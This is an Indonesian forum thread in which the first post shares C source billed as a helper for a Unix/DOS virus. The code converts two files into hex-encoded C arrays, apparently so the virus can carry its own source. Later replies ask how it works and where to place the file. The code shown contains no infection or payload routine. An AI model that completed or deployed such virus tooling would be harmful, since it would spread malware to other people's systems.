Go Back   Musi-IT Community PalembaNg > Musi IT Interaksi Komputer Umum > Musi IT Sistem Operasi (Linux / UNIX / FreeBSD / OpenBSD *nix / Windows )

Notices

Reply
 
Thread Tools Display Modes
Old 08-04-2009, 05:47 PM   #1
nordman
Junior Member
 
nordman's Avatar
 
Join Date: Jul 2009
Location: Germany
Posts: 10
Send a message via MSN to nordman Send a message via Yahoo to nordman
Default Contoh Virus yg berjalan pd unix atw linux

/* special dump.c for the unix/M$DOS virus */

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv)
{

char *buf, outbuf[20] = {0}, s[100] = {0}, def[100] = {0};
int in1, in2, i = 0, r = 0, j = 0, count = 0,
len1 = 0, len2 = 0;
FILE *out1, *out2, *fd;

if (argc < 3) {
printf("usage: dump [file1] [file2]\n");
return -1;
}
/* open head and body */
if ((in1 = open(argv[1], O_RDWR)) < 0 ||
(in2 = open(argv[2], O_RDONLY)) < 0) {
perror("open1");
return errno;
}
len1 = lseek(in1, 0, SEEK_END);
len2 = lseek(in2, 0, SEEK_END);
sprintf(def, "#define CHARS %04d\n#define CHARS2 %03d\n\n",
len2, len1 + 39);
lseek(in2, 0, SEEK_SET);
write(in1, def, strlen(def));
close(in1);
in1 = open(argv[1], O_RDONLY);

/* open otput-files */
if ((out1 = fopen("B", "a+")) == NULL ||
(out2 = fopen("C", "a+")) == NULL) {
perror("fopen");
return errno;
}
if ((buf = (char*)malloc(5000)) == NULL) {
perror("malloc");
return errno;
}
j = 1;
fprintf(out1, "char B[] = \n\"");
while ((r = read(in1, buf, 1000)) > 0) {
for (i = 0; i < r; i++) {
if ((j % 15) == 0) {
fprintf(out1, "\"\n\"");
j = 0;
}
j++;
fprintf(out1, "\\x%02x", buf[i]);
}
}
fprintf(out1, "\";\n\n");

/* ok, the includes etc. are now written to char B[] ...
* lets do the main part
*/
fprintf(out2, "char C[] = \n\"");
j = 1;
while ((r = read(in2, buf, 5000)) > 0) {
printf("%d\n", r);
for (i = 0; i < r; i++) {
if ((j % 15) == 0) {
fprintf(out2, "\"\n\"");
j = 0;
}
j++;
fprintf(out2, "\\x%02x", buf[i]);
}
}
fprintf(out2, "\";\n\n");
close(in1);
close(in2);
fclose(out2);
fclose(out1);
return 0;
}
__________________
forensics cyber
nordman is offline   Reply With Quote
Old 08-06-2009, 02:25 PM   #2
newprog
Member
 
Join Date: May 2008
Posts: 32
Default

mungkin bisa dikasih tahu terlebih dahulu bagaimana bahasa pemograman apa yang dipakai di atas?
bagaimana algoritmanya?

K'lo begitu kan ntar bisa menarik perhatian dan dikembangin juga
K'lo cuman codenya doank (newbie kayak saya ini bingung bos)

Mohon pencerahannya...

Top lah...
__________________
http://i006.radikal.ru/0802/16/730ecd3ef305.gif
[link=http://oyik.co.cc]My Blog[/link]
newprog is offline   Reply With Quote
Old 09-02-2010, 10:15 PM   #3
rudhy
Junior Member
 
rudhy's Avatar
 
Join Date: Jul 2009
Location: DEPAN MONITOR
Posts: 16
Default

jelasin secara detail mas bro,,,
pakek pemogrman apa
rudhy is offline   Reply With Quote
Old 09-03-2010, 01:38 AM   #4
sembilanbenua
Member
 
sembilanbenua's Avatar
 
Join Date: Apr 2008
Posts: 88
Default

iya mas, selaen kasih jelas pake program ape, gimana juga caranya, itu file mau diletakan dimana, biar enak mas mencobanya
__________________
No Body Is Perfect
sembilanbenua is offline   Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT +7. The time now is 01:09 AM.
Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.


  Mading-Web.com
Back to Top